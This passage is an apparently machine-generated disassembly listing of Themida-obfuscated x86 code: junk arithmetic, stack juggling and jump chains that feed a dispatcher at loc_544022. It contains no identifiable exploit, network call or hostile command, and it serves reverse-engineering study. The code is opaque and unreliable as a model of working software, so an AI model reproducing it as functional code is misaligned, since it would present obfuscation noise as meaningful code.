511C0B0Ch sub edx, 983BAD9Ah and esi, edx pop edx sub esi, 43545025h sub edi, esi pop esi push 7631h mov [esp], ebp mov ebp, 81E0EA4Ch add edi, ebp pop ebp add ebx, edi pop edi push esi mov esi, 2 add ebx, esi pop esi xor ebx, [esp] jmp loc_54F3D1 ; --------------------------------------------------------------------------- loc_54C06B: ; CODE XREF: Themida_:0054EBEBj mov ebp, [esp] add esp, 4 push 7853h mov [esp], ecx mov ecx, 2 add ebx, ecx pop ecx xchg ebx, [esp] mov esp, [esp] imul cx, ax push cx pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_54C093: ; CODE XREF: Themida_:005443ACj push dword ptr [esp] jmp loc_546782 ; --------------------------------------------------------------------------- loc_54C09B: ; CODE XREF: Themida_:0054794Bj mov ebp, [esp] add esp, 4 jmp loc_54E2C4 ; --------------------------------------------------------------------------- loc_54C0A9: ; CODE XREF: Themida_:00544E97j pop ebx add esp, 4 sub esp, 4 mov [esp], esi mov esi, 687F2DDAh shr esi, 8 add esi, 2198186Dh add esi, 25685B1Ch dec esi add esi, 0D0F4158Dh push ecx mov ecx, 7DA7773Ah push ebx jmp loc_549D64 ; --------------------------------------------------------------------------- loc_54C0DD: ; CODE XREF: Themida_:0054A4F4j pop edi xchg eax, [esp] mov esp, [esp] rep movsd add esp, [edx+38h] jmp loc_54F8C8 ; --------------------------------------------------------------------------- loc_54C0EE: ; CODE XREF: Themida_:00547851j xor esi, [esp] mov esp, [esp] mov fs:[edx], al jmp loc_544022 ; --------------------------------------------------------------------------- loc_54C0FC: ; CODE XREF: Themida_:0054AA56j pop ecx jmp loc_54E44C ; --------------------------------------------------------------------------- loc_54C102: ; CODE XREF: Themida_:0054D51Dj sub al, 0FFh jmp loc_5463DD ; --------------------------------------------------------------------------- loc_54C109: ; CODE XREF: Themida_:0054CDF5j mov esp, [esp] push ebx jmp loc_54F32B ; --------------------------------------------------------------------------- loc_54C112: ; CODE XREF: Themida_:0054EF96j mov ecx, 0AF7EB466h sub esi, 4CE1254Eh sub esi, ecx add esi, 4CE1254Eh pop ecx add edi, esi push dword ptr [esp] mov esi, [esp] jmp loc_54B45C ; --------------------------------------------------------------------------- mov ax, [esp] push 5D91h jmp loc_54D6C9 ; --------------------------------------------------------------------------- loc_54C141: ; CODE XREF: Themida_:0054984Ej add edi, edx pop edx add edi, 4 xchg edi, [esp] jmp loc_548370 ; --------------------------------------------------------------------------- mov ax, [esp] push 380Bh mov [esp], eax push esi push esp pop esi add esi, 4 jmp loc_544B42 ; --------------------------------------------------------------------------- loc_54C169: ; CODE XREF: Themida_:00549ABDj xchg ebp, [esp] mov esp, [esp] shr byte ptr [esp], cl pushf jmp loc_54C6B1 ; --------------------------------------------------------------------------- loc_54C178: ; CODE XREF: Themida_:00545722j mov ebp, 78DE64F5h add ebx, ebp pop ebp add ebx, 770C7562h add ebx, esi sub ebx, 770C7562h sub ebx, 78DE64F5h mov esi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_54A678 ; --------------------------------------------------------------------------- loc_54C1AC: ; CODE XREF: Themida_:0054761Aj add esp, 4 push eax mov eax, esp jmp loc_546CC8 ; --------------------------------------------------------------------------- loc_54C1B7: ; CODE XREF: Themida_:0054B6BAj sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_54CE54 ; --------------------------------------------------------------------------- loc_54C1C3: ; CODE XREF: Themida_:00547BB8j pop esp push dword ptr [eax] jmp loc_544022 ; --------------------------------------------------------------------------- loc_54C1CB: ; CODE XREF: Themida_:0054EEF1j pop dword ptr [esp] pop esp sub esp, 4 mov [esp], edi jmp loc_548A3A ; --------------------------------------------------------------------------- loc_54C1DD: ; CODE XREF: Themida_:0054575Cj push esp pop ebp push edx mov edx, 4 add ebp, 50855D33h sub ebp, 7A723D36h sub ebp, 61941455h jmp loc_545123 ; --------------------------------------------------------------------------- loc_54C1FC: ; CODE XREF: Themida_:0054FC0Ej mov ebx, 4EDB11A1h add ebx, 6B2C1B92h sub ebx, 0BA072D2Fh add esi, ebx pop ebx xchg esi, [esp] pop esp xchg eax, [esp] jmp loc_546981 ; --------------------------------------------------------------------------- loc_54C21C: ; CODE XREF: Themida_:00546828j mov edi, [esp] add esp, 4 or eax, eax jz loc_5480B7 push dword ptr [edi+1Ch] jmp loc_54CDFA ; --------------------------------------------------------------------------- loc_54C235: ; CODE XREF: Themida_:00547204j pop edx sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], ebx push ecx mov ecx, 473363EDh sub [esp+4], ecx pop ecx pop eax add eax, 473363EDh push ebx mov ebx, esp jmp loc_546C0B ; --------------------------------------------------------------------------- loc_54C25B: ; CODE XREF: Themida_:00549D85j pop ecx sub ebx, ebp pop ebp mov esi, [esp] jmp loc_5494C3 ; --------------------------------------------------------------------------- loc_54C267: ; CODE XREF: Themida_:0054CA99j add ebx, 4 push ecx mov ecx, 4 add ebx, ecx pop ecx jmp loc_54E8D1 ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_544022 ; --------------------------------------------------------------------------- loc_54C282: ; CODE XREF: Themida_:00547DE6j mov dl, bl mov al, dl pop edx pop ebx mov bh, al pop eax mov dl, [esp+4] jmp loc_54DB64 ; --------------------------------------------------------------------------- loc_54C294: ; CODE XREF: Themida_:0054A085j mov [esp], eax mov eax, 4 sub edx, eax pop eax xchg edx, [esp] pop esp mov [esp], ebx push edx push edi mov edi, 24D164A8h add edi, 4AC91428h xor edi, 55BF5AC7h jmp loc_54798A ; --------------------------------------------------------------------------- mov ax, [esp] push 2554h mov [esp], edx push esp pop edx add edx, 4 push ebx mov ebx, 35460885h push edi mov edi, 553C128Ch shr edi, 8 xor edi, 2B7A2B65h jmp loc_544CC3 ; --------------------------------------------------------------------------- loc_54C2EC: ; CODE XREF: Themida_:0054B780j mov ecx, [esp] jmp loc_547E48 ; --------------------------------------------------------------------------- loc_54C2F4: ; CODE XREF: Themida_:005470B0j push dword ptr [esp] mov eax, [esp] add esp, 4 push 2233h mov [esp], eax mov eax, esp push ecx mov ecx, 4 add eax, ecx jmp loc_54A16D ; --------------------------------------------------------------------------- loc_54C314: ; CODE XREF: Themida_:0054DF94j sub esi, 0C3C5E83h xor esi, 7710CE8Ah sub eax, esi pop esi add eax, ebx jmp loc_544630 ; --------------------------------------------------------------------------- loc_54C32A: ; CODE XREF: Themida_:0054DB08j pop esi xchg ebp, [esp] pop esp sub esp, 4 mov [esp], ecx push 2F63h jmp loc_54F0AF ; --------------------------------------------------------------------------- loc_54C33F: ; CODE XREF: Themida_:0054F36Cj push dword ptr [esp+4] jmp loc_548BEB ; --------------------------------------------------------------------------- loc_54C348: ; CODE XREF: Themida_:0054A9B2j add esp, 2 push 4809h mov [esp], edx sub esp, 4 jmp loc_54F476 ; --------------------------------------------------------------------------- loc_54C35B: ; CODE XREF: Themida_:00547CE3j xchg edx, [esp] pop esp mov [esp], eax mov eax, 6E3A793Fh add eax, 0B8A21AFh shr eax, 5 push eax not dword ptr [esp] pop eax add eax, 26515E1Bh jmp loc_54CFFF ; --------------------------------------------------------------------------- loc_54C37E: ; CODE XREF: Themida_:00547A93j push ecx jmp loc_546C49 ; --------------------------------------------------------------------------- loc_54C384: ; CODE XREF: Themida_:00544431j sub ch, bh add ch, 10h pop bx push 52D4h mov [esp], ebx jmp loc_549F6E ; --------------------------------------------------------------------------- loc_54C398: ; CODE XREF: Themida_:0054541Aj sub esp, 4 mov [esp], ecx jmp loc_54AE69 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_54EAB8 loc_54C3A3: ; CODE XREF: sub_54EAB8-4B7Aj shr dl, 5 jmp loc_54F2A9 ; END OF FUNCTION CHUNK FOR sub_54EAB8 ; --------------------------------------------------------------------------- loc_54C3AB: ; CODE XREF: Themida_:0054D1BEj pop esp mov [esp], ebx push esp jmp loc_546B41 ; --------------------------------------------------------------------------- loc_54C3B5: ; CODE XREF: Themida_:00548ABFj mov [esp], esi mov esi, 3A506914h neg esi sub esi, 7A913D65h push ebp mov ebp, 498E38FEh sub esi, 1A40471Fh sub esi, ebp add esi, 1A40471Fh mov ebp, [esp] add esp, 4 shr esi, 6 jmp loc_5468E9 ; --------------------------------------------------------------------------- loc_54C3E7: ; CODE XREF: Themida_:00547985j shr edx, 2 push esi jmp loc_54D162 ; --------------------------------------------------------------------------- loc_54C3F0: ; CODE XREF: Themida_:00545F17j mov edi, 13CE42A7h jmp loc_544C3D ; --------------------------------------------------------------------------- loc_54C3FA: ; CODE XREF: Themida_:0054F8C3j add [esp+4], ebp add dword ptr [esp+4], 61777AB1h pop ebp mov esi, [esp] jmp loc_549795 ; --------------------------------------------------------------------------- loc_54C40F: ; CODE XREF: Themida_:0054F564j push esp pop eax push edx mov edx, 4 sub eax, 23E57555h jmp loc_54CBD4 ; --------------------------------------------------------------------------- loc_54C421: ; CODE XREF: Themida_:0054B53Dj pop cx add dl, 0E9h shl dl, 2 shl dl, 4 jmp loc_545681 ; --------------------------------------------------------------------------- loc_54C431: ; CODE XREF: Themida_:00548F46j pop eax push eax mov eax, 0FFFFFFFFh sub ebp, eax pop eax sub ebp, 76A037F7h and ebp, 3DC457A0h xor ebp, 8804424h add edx, ebp pop ebp add edx, 2 push edx jmp loc_54EC34 ; --------------------------------------------------------------------------- loc_54C45C: ; CODE XREF: Themida_:00544394j push edx mov edx, 6F706140h sub ebp, edx pop edx shr ebp, 3 sub ebp, 0FD3524C5h sub ebx, ebp pop ebp push ecx jmp loc_54AAFA ; --------------------------------------------------------------------------- loc_54C477: ; CODE XREF: Themida_:0054B67Aj push ecx mov ecx, 52365A0h jmp loc_548780 ; --------------------------------------------------------------------------- loc_54C482: ; CODE XREF: Themida_:0054C79Cj push edx mov edx, 558955E6h xor edx, 343468EFh add edx, 16DB115Bh xor edx, 4D765A88h jmp loc_54F454 ; --------------------------------------------------------------------------- loc_54C49F: ; CODE XREF: Themida_:0054A0D2j mov [esp], ecx push esp pop ecx jmp loc_54711A ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] jmp loc_54622A ; --------------------------------------------------------------------------- loc_54C4B1: ; CODE XREF: Themida_:005451B9j push 7EECh mov [esp], edi sub esp, 4 mov [esp], esp jmp loc_5484FB ; --------------------------------------------------------------------------- loc_54C4C4: ; CODE XREF: Themida_:0054A534j pop ebp sub ebp, 50E45217h pop ecx jmp loc_547209 ; --------------------------------------------------------------------------- loc_54C4D1: ; CODE XREF: Themida_:00545446j mov edi, [esp] add esp, 4 pop dword ptr [esp] pop esp push edx mov edx, esp jmp loc_54CED2 ; --------------------------------------------------------------------------- loc_54C4E3: ; CODE XREF: Themida_:005447A2j push dword ptr [esp] pop edi push ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] pop esp jmp loc_54F392 ; --------------------------------------------------------------------------- loc_54C507: ; CODE XREF: Themida_:00546D97j add eax, 15805D11h shr eax, 5 xor eax, 463F498h add edi, eax pop eax sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], ebx push edi push 5D1218D2h pop edi shl edi, 6 sub edi, 1902BE16h jmp loc_547B2D ; --------------------------------------------------------------------------- loc_54C538: ; CODE XREF: Themida_:005461B1j mov dl, bh pop ebx push eax mov al, dl mov bl, al pop eax pop edx mov ch, bl jmp loc_54B6FB ; --------------------------------------------------------------------------- loc_54C549: ; CODE XREF: Themida_:005456A9j pop ebp xchg ecx, [esp] mov esp, [esp] test cl, al pushf jmp loc_54EECC ; --------------------------------------------------------------------------- loc_54C558: ; CODE XREF: Themida_:00548BE6j or eax, 735F1368h push 2DAEh mov [esp], ebp push esi mov esi, 5B0664A9h jmp loc_54BBE3 ; --------------------------------------------------------------------------- loc_54C570: ; CODE XREF: Themida_:005440D7j push dword ptr [esp] pop ecx add esp, 4 add ecx, 4 add ecx, 2 push ecx push dword ptr [esp+4] jmp loc_54574A ; --------------------------------------------------------------------------- loc_54C590: ; CODE XREF: Themida_:0054F212j pop ebp jmp loc_54B609 ; --------------------------------------------------------------------------- loc_54C596: ; CODE XREF: Themida_:00544409j push 2DC9h mov [esp], edi mov edi, 2 add eax, edi mov edi, [esp] add esp, 4 push eax push dword ptr [esp+4] jmp loc_54BAD7 ; --------------------------------------------------------------------------- loc_54C5B8: ; CODE XREF: Themida_:0054C8C0j sub ebp, 133357FAh sub ebp, 6F3F79B7h inc ebp jmp loc_547D27 ; --------------------------------------------------------------------------- loc_54C5CA: ; CODE XREF: Themida_:0054FC53j add esp, 4 add edx, ebx add edx, 44716349h pop ebx sub esp, 4 mov [esp], edi mov edi, 3A4171DAh jmp loc_54FF51 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565CDA loc_54C5EC: ; CODE XREF: sub_565CDA-21CB7j xor al, bl jmp loc_548440 ; END OF FUNCTION CHUNK FOR sub_565CDA ; --------------------------------------------------------------------------- loc_54C5F3: ; CODE XREF: Themida_:0054DC15j push ebx jmp loc_544AE8 ; --------------------------------------------------------------------------- loc_54C5F9: ; CODE XREF: Themida_:00548F98j mov [esp], ecx push eax jmp loc_54A715 ; --------------------------------------------------------------------------- loc_54C602: ; CODE XREF: Themida_:0054D421j mov eax, 1 jmp loc_54CD2B ; --------------------------------------------------------------------------- loc_54C60C: ; CODE XREF: Themida_:0054DE2Dj mov ebx, ecx pop ecx shr ebx, 1 shr ebx, 8 shl ebx, 7 push 457Dh mov [esp], ebx not dword ptr [esp] push dword ptr [esp] pop ebx add esp, 4 inc ebx push ecx mov ecx, 40E64905h dec ecx sub ecx, 746803AAh add ecx, 157F0D6Dh inc ecx sub ecx, 0F4DB0848h xor ebx, ecx pop ecx and eax, ebx mov ebx, [esp] jmp loc_54D0E1 ; --------------------------------------------------------------------------- loc_54C654: ; CODE XREF: Themida_:0054D6A9j pop ebx xor ebx, eax push ecx mov ecx, esp jmp loc_54DF0E ; --------------------------------------------------------------------------- loc_54C65F: ; CODE XREF: Themida_:005497B9j add esp, 4 xor bl, al movzx eax, al push dword ptr [edi+eax*4] push 6DE0h jmp loc_54E192 ; --------------------------------------------------------------------------- loc_54C677: ; CODE XREF: Themida_:0054B046j pop edi sub edx, 0B7C0FD2Ch add esi, edx pop edx sub esi, 4 jmp loc_544D26 ; --------------------------------------------------------------------------- loc_54C68C: ; CODE XREF: Themida_:0054BE68j mov esi, [esp] add esp, 4 push esi not dword ptr [esp] jmp loc_54B04B ; --------------------------------------------------------------------------- loc_54C69E: ; CODE XREF: Themida_:005456B6j push 57C4h push esp pop dword ptr [esp] jmp loc_54AB89 ; --------------------------------------------------------------------------- loc_54C6AC: ; CODE XREF: Themida_:005470EEj jmp loc_544022 ; --------------------------------------------------------------------------- loc_54C6B1: ; CODE XREF: Themida_:0054C173j jmp loc_544022 ; --------------------------------------------------------------------------- loc_54C6B6: ; CODE XREF: Themida_:00549772j not dword ptr [esp] push dword ptr [esp] pop eax push esi mov esi, esp push ebx mov ebx, 26497656h sub ebx, 2B99010Fh xor ebx, 0FAB07543h add esi, 50480EC7h add esi, ebx push edx mov edx, 60184A1Bh neg edx inc edx sub edx, 4F9FA71Fh sub esi, edx jmp loc_54DDA8 ; --------------------------------------------------------------------------- loc_54C6F0: ; CODE XREF: Themida_:00547ACAj xor eax, ecx push 5AA4h mov [esp], eax jmp loc_547A15 ; --------------------------------------------------------------------------- loc_54C6FF: ; CODE XREF: Themida_:0054524Dj or esi, 5AA53BC3h push edx mov edx, 3D65F900h xor esi, edx pop edx mov edi, esi pop esi xor [esp+4], edi push dword ptr [esp] pop edi jmp loc_546D51 ; --------------------------------------------------------------------------- loc_54C71E: ; CODE XREF: Themida_:0054AEE1j push edx jmp loc_54F941 ; --------------------------------------------------------------------------- loc_54C724: ; CODE XREF: Themida_:0054A9B8j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_5454C2 ; --------------------------------------------------------------------------- loc_54C73B: ; CODE XREF: Themida_:0054D26Bj mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_54479B ; --------------------------------------------------------------------------- loc_54C74F: ; CODE XREF: Themida_:005472A4j dec esi push edx mov edx, 5B5846Ah xor esi, edx pop edx sub eax, esi pop esi push ecx push edi push 3D3B0383h jmp loc_54D86E ; --------------------------------------------------------------------------- push dword ptr [edi+3Ch] jmp loc_548C04 ; --------------------------------------------------------------------------- loc_54C770: ; CODE XREF: Themida_:0054EF0Ej add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_544022 ; --------------------------------------------------------------------------- loc_54C785: ; CODE XREF: Themida_:0054BDFFj mov edi, eax mov esi, edi jmp loc_546287 ; --------------------------------------------------------------------------- loc_54C78E: ; CODE XREF: Themida_:0054550Bj pop esp mov [esp], edi jmp loc_5471D4 ; --------------------------------------------------------------------------- loc_54C797: ; CODE XREF: Themida_:0054B1ACj sub esi, ebp pop ebp sub esi, edi jmp loc_54C482 ; --------------------------------------------------------------------------- loc_54C7A1: ; CODE XREF: Themida_:0054DB2Bj sub esp, 4 jmp loc_54CC49 ; --------------------------------------------------------------------------- loc_54C7A9: ; CODE XREF: Themida_:0054F598j xor eax, ebx push esi mov esi, 25F2098Fh push ebx mov ebx, 38832A93h add ebx, 1E311A99h jmp loc_54F6CC ; --------------------------------------------------------------------------- loc_54C7C2: ; CODE XREF: Themida_:0054FA72j add [esp+4], edi pop edi pop eax push 53B2h jmp loc_54B8DD ; --------------------------------------------------------------------------- loc_54C7D2: ; CODE XREF: Themida_:00544640j sub eax, edx sub eax, 27C66026h mov edx, [esp] add esp, 4 push 51CBh mov [esp], edi push 75B99524h mov edi, [esp] add esp, 4 push 0E8h jmp loc_54BB44 ; --------------------------------------------------------------------------- loc_54C7FC: ; CODE XREF: Themida_:00546760j inc ebp add ebp, 599C116Ah sub edi, ebp jmp loc_54CD5D ; --------------------------------------------------------------------------- loc_54C80A: ; CODE XREF: Themida_:005441E7j push cx pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_54C812: ; CODE XREF: Themida_:00546FD1j xchg al, dl or dl, 18h sub dl, 4Ch sub al, 12h sub al, dl add al, 12h pop edx add al, bh add al, 0EEh pop ebx xor bl, al movzx eax, al push small 4456h mov [esp], ax jmp loc_5454E3 ; --------------------------------------------------------------------------- loc_54C838: ; CODE XREF: Themida_:0054D01Fj mov ebp, esp add ebp, 4 jmp loc_544028 ; --------------------------------------------------------------------------- loc_54C845: ; CODE XREF: Themida_:00546289j and [edi+1Ch], esi push dword ptr [esp] pop esi add esp, 4 jmp loc_547B42 ; --------------------------------------------------------------------------- loc_54C857: ; CODE XREF: Themida_:00546E6Bj and eax, 54435C19h xor eax, 440500Ch jmp loc_548AE8 ; --------------------------------------------------------------------------- loc_54C866: ; CODE XREF: Themida_:0054BD48j mov [esp], edi push edi jmp loc_54640A ; --------------------------------------------------------------------------- loc_54C86F: ; CODE XREF: Themida_:0054A40Ej pop ebx jmp loc_547C59 ; --------------------------------------------------------------------------- loc_54C875: ; CODE XREF: Themida_:005443CEj add edi, eax add edi, 29D3536Eh mov eax, [esp] jmp loc_54CD52 ; --------------------------------------------------------------------------- loc_54C885: ; CODE XREF: Themida_:0054E481j mov edi, 27B86B54h xor edi, 24A54C3Fh jmp loc_54DED9 ; --------------------------------------------------------------------------- loc_54C895: ; CODE XREF: Themida_:005478EBj push ecx mov ecx, 3D000403h push edi mov edi, 757D4804h sub esp, 4 mov [esp], edx mov edx, 3C613FB9h add edx, 66CC1660h dec edx inc edx or edx, 31DF4A76h push ebp mov ebp, 44D20510h jmp loc_54C5B8 ; --------------------------------------------------------------------------- loc_54C8C5: ; CODE XREF: Themida_:0054EF74j push 1AD1h mov [esp], ebp mov ebp, 4 add ecx, 773A293Bh add ecx, ebp sub ecx, 773A293Bh push dword ptr [esp] pop ebp add esp, 4 push eax jmp loc_54DFBE ; --------------------------------------------------------------------------- loc_54C8F0: ; CODE XREF: Themida_:0054D019j add ecx, edi jmp loc_54EE62 ; --------------------------------------------------------------------------- loc_54C8F7: ; CODE XREF: Themida_:005470C8j xchg eax, edi not eax xchg eax, edi sub edi, 46988BFCh jmp loc_54FD4D ; --------------------------------------------------------------------------- loc_54C906: ; CODE XREF: Themida_:00549EDAj sub esi, 33292459h add esi, 55B94C62h sub esi, 33D8335Fh add esi, ecx add esi, 33D8335Fh push edx mov edx, 76046109h or edx, 4A0206AFh shr edx, 5 jmp loc_5449E0 ; --------------------------------------------------------------------------- loc_54C934: ; CODE XREF: Themida_:0054437Dj add ebx, 4 jmp loc_5474E7 ; --------------------------------------------------------------------------- loc_54C93C: ; CODE XREF: Themida_:0054E2FDj add esi, ebp pop ebp add esi, 4 jmp loc_547C1B ; --------------------------------------------------------------------------- loc_54C94A: ; CODE XREF: Themida_:0054427Aj pop ebx mov ebx, [esp] add esp, 4 xor ebx, 75D1079Ah jmp loc_54762A ; --------------------------------------------------------------------------- loc_54C95F: ; CODE XREF: Themida_:00547A64j push eax mov eax, 4 add esi, 7947342Ah add esi, eax sub esi, 7947342Ah pop eax add esi, 4 jmp loc_54E77D ; --------------------------------------------------------------------------- loc_54C97C: ; CODE XREF: Themida_:005445CBj sub edx, 68920825h push ebx mov ebx, 0DB136BCEh jmp loc_5458D4 ; --------------------------------------------------------------------------- loc_54C98D: ; CODE XREF: Themida_:0054E215j push ebx mov ebx, 15012699h and esi, ebx pop ebx sub esi, 0FFFFFFFFh xor esi, 0E7C5AFE3h jmp loc_545110 ; --------------------------------------------------------------------------- loc_54C9A4: ; CODE XREF: Themida_:0054D9BDj add esp, 4 sub esp, 4 mov [esp], ecx push ebp mov ebp, 2BD22783h and ebp, 4580C32h not ebp shl ebp, 6 sub ebp, 1 jmp loc_547E61 ; --------------------------------------------------------------------------- loc_54C9C9: ; CODE XREF: Themida_:0054DFEBj mov ebx, ecx pop ecx mov esi, ebx jmp loc_5466F4 ; --------------------------------------------------------------------------- mov sp, [esp] jmp loc_54EB90 ; --------------------------------------------------------------------------- loc_54C9DC: ; CODE XREF: Themida_:0054B08Bj add eax, 59C65CB0h pop ebx sub eax, 49A023E5h jmp loc_54BE54 ; --------------------------------------------------------------------------- loc_54C9EC: ; CODE XREF: Themida_:0054FB17j pop ecx loc_54C9ED: ; CODE XREF: Themida_:00549104j ; Themida_:loc_549648j push 2D76h mov [esp], ebx mov eax, [esp] push ebx mov ebx, esp push edi mov edi, esp push eax mov eax, 4 add edi, eax jmp loc_54607F ; --------------------------------------------------------------------------- loc_54CA0B: ; CODE XREF: Themida_:00549F69j mov [esp], esi sub esp, 4 mov [esp], esp push ecx mov ecx, 4 sub dword ptr [esp+4], 6F9A6EFCh jmp loc_54934A ; --------------------------------------------------------------------------- loc_54CA2A: ; CODE XREF: Themida_:0054B590j push esi push 7A23h jmp loc_54D379 ; --------------------------------------------------------------------------- loc_54CA35: ; CODE XREF: Themida_:005471CFj sub esp, 4 mov [esp], edi mov edi, 32FE1D8Fh shr edi, 5 push ecx mov ecx, 6555190Dh xor ecx, 153B7F51h or edi, ecx pop ecx shr edi, 7 shr edi, 1 jmp loc_54CF87 ; --------------------------------------------------------------------------- loc_54CA5F: ; CODE XREF: Themida_:00547F90j push 67F4h mov [esp], esi push 55DEh mov [esp], ecx mov ecx, 1D8E0E7Eh mov esi, ecx pop ecx xor ebx, esi pop esi xor eax, ebx mov ebx, [esp] push ebx push esp mov ebx, [esp] push edi mov edi, esp add edi, 4 jmp $+5 add edi, 4 xchg edi, [esp] pop esp jmp loc_54C267 ; --------------------------------------------------------------------------- sub esp, 2 mov [esp], bp jmp loc_544868 ; --------------------------------------------------------------------------- loc_54CAAD: ; CODE XREF: Themida_:005477D2j pop esp dec edi sub edi, 0CF7F23E4h jmp loc_54B785 ; --------------------------------------------------------------------------- loc_54CABA: ; CODE XREF: Themida_:00549678j mov esi, esp push ecx mov ecx, 4 add esi, ecx pop ecx add esi, 4 xchg esi, [esp] pop esp shr ecx, 2 push ebp sub esp, 4 mov [esp], esp jmp loc_547CF1 ; --------------------------------------------------------------------------- loc_54CAE1: ; CODE XREF: Themida_:00546854j push 79D9h jmp loc_5449D8 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 sub esp, 4 jmp loc_548099 ; --------------------------------------------------------------------------- loc_54CAFF: ; CODE XREF: Themida_:005500A7j pop edx xchg esi, [esp] mov esp, [esp] mov [esp], edx push eax pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_54CB10: ; CODE XREF: Themida_:0054AEFBj add esi, ecx pop ecx or ecx, esi pop esi add ecx, 58AB0BFAh add ecx, 0A8F57467h jmp loc_546F56 ; --------------------------------------------------------------------------- loc_54CB27: ; CODE XREF: Themida_:0054405Ej dec ecx neg ecx xor ecx, 9000CB27h add eax, ecx pop ecx add eax, 4 jmp loc_54A9C9 ; --------------------------------------------------------------------------- loc_54CB3B: ; CODE XREF: Themida_:00547060j mov [esp], ebx mov ebx, esp add ebx, 4 push ebp push 4 jmp loc_545252 ; --------------------------------------------------------------------------- loc_54CB51: ; CODE XREF: Themida_:0054769Aj push 0Ah push dword ptr [esp] mov ecx, [esp] add esp, 4 sub esp, 4 jmp loc_549AF6 ; --------------------------------------------------------------------------- loc_54CB67: ; CODE XREF: Themida_:00546006j add esp, 4 jmp loc_5471F0 ; --------------------------------------------------------------------------- loc_54CB72: ; CODE XREF: Themida_:0054FDFEj mov [esp], ecx mov ecx, 2 jmp loc_54BBCA ; --------------------------------------------------------------------------- loc_54CB7F: ; CODE XREF: Themida_:0054959Dj mov [esp], ebx jmp loc_549F5B ; --------------------------------------------------------------------------- loc_54CB87: ; CODE XREF: Themida_:00547CA3j add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebx pop edx pop ebx jmp loc_544022 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_54B71B ; --------------------------------------------------------------------------- loc_54CBA9: ; CODE XREF: Themida_:0054CC55j sub al, ch jmp loc_54EAF0 ; --------------------------------------------------------------------------- loc_54CBB0: ; CODE XREF: Themida_:005492EFj shl si, 1 sub si, 4FD0h push ebx mov bx, si push edx mov dx, bx mov cx, dx jmp loc_545F2F ; --------------------------------------------------------------------------- loc_54CBC8: ; CODE XREF: Themida_:0054DD08j mov esp, [esp] ror dword ptr [esp], cl pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_54CBD4: ; CODE XREF: Themida_:0054C41Cj add eax, edx push ecx mov ecx, 23E57555h add eax, ecx mov ecx, [esp] add esp, 4 pop edx sub esp, 4 mov [esp], edi mov edi, 4 jmp loc_54DFF0 ; --------------------------------------------------------------------------- loc_54CBF8: ; CODE XREF: Themida_:0054B1D5j push 70A7h push esp pop dword ptr [esp] add dword ptr [esp], 4 pop dword ptr [esp] push 0B31h mov [esp], esi jmp loc_54D323 ; --------------------------------------------------------------------------- loc_54CC15: ; CODE XREF: Themida_:0054B5CFj push edx jmp loc_54F703 ; --------------------------------------------------------------------------- loc_54CC1B: ; CODE XREF: Themida_:00549FE1j add edx, edi mov edi, [esp] add esp, 4 jmp loc_54ECA1 ; --------------------------------------------------------------------------- loc_54CC2B: ; CODE XREF: Themida_:00547424j mov edx, edi jmp loc_54858C ; --------------------------------------------------------------------------- loc_54CC32: ; CODE XREF: Themida_:0054D7ECj push dword ptr [esp] pop ebx add esp, 4 push ebx jmp loc_546E96 ; --------------------------------------------------------------------------- loc_54CC42: ; CODE XREF: Themida_:0054EB8Bj mov al, bh jmp loc_547653 ; --------------------------------------------------------------------------- loc_54CC49: ; CODE XREF: Themida_:0054C7A4j mov [esp], edi jmp loc_54CDDA ; --------------------------------------------------------------------------- loc_54CC51: ; CODE XREF: Themida_:00549F80j add al, 89h sub al, 6Bh jmp loc_54CBA9 ; --------------------------------------------------------------------------- loc_54CC5A: ; CODE XREF: Themida_:0054E8A0j pop ebp mov edi, ebx push dword ptr [esp] pop ebx add esp, 4 shr edi, 5 sub edi, 0E9CDDA1Fh add edx, edi mov edi, [esp] sub esp, 4 mov [esp], ebp jmp loc_54F7F9 ; --------------------------------------------------------------------------- loc_54CC80: ; CODE XREF: Themida_:00548C39j mov [edx], eax pop edx pop ebx mov eax, [esp] add esp, 4 pop ecx pop edi jmp loc_544C26 ; --------------------------------------------------------------------------- loc_54CC91: ; CODE XREF: Themida_:005469CEj mov bl, 9 add bl, 0FFh inc bl xor bl, 6Eh not bl sub bl, 0A9h mov dh, bl pop ebx jmp loc_54B643 ; --------------------------------------------------------------------------- loc_54CCA8: ; CODE XREF: Themida_:00548D27j mov edx, [esp] add esp, 4 jmp loc_544022 ; --------------------------------------------------------------------------- loc_54CCB6: ; CODE XREF: Themida_:0054484Aj sub eax, 0AC60424h mov esi, eax jmp loc_5491DE ; --------------------------------------------------------------------------- loc_54CCC2: ; CODE XREF: Themida_:005472F5j push 47DBh mov [esp], ecx push eax push 77D4ABAh pop eax mov ecx, eax pop eax inc ecx jmp loc_54A071 ; --------------------------------------------------------------------------- loc_54CCDA: ; CODE XREF: Themida_:005458C0j shl esi, 5 or esi, 4F9C1FA0h push 6ADBh mov [esp], ecx push esi mov esi, 1766D16h mov ecx, 654498Ah jmp loc_54F299 ; --------------------------------------------------------------------------- loc_54CCFB: ; CODE XREF: Themida_:005451A6j pop esi add esp, 4 loc_54CCFF: ; CODE XREF: Themida_:0054ACF0j push ebx push dword ptr [esp] jmp loc_548D2C ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_5483BE ; --------------------------------------------------------------------------- loc_54CD11: ; CODE XREF: Themida_:0054A4B9j add edi, 4 jmp loc_5495C6 ; --------------------------------------------------------------------------- loc_54CD1C: ; CODE XREF: 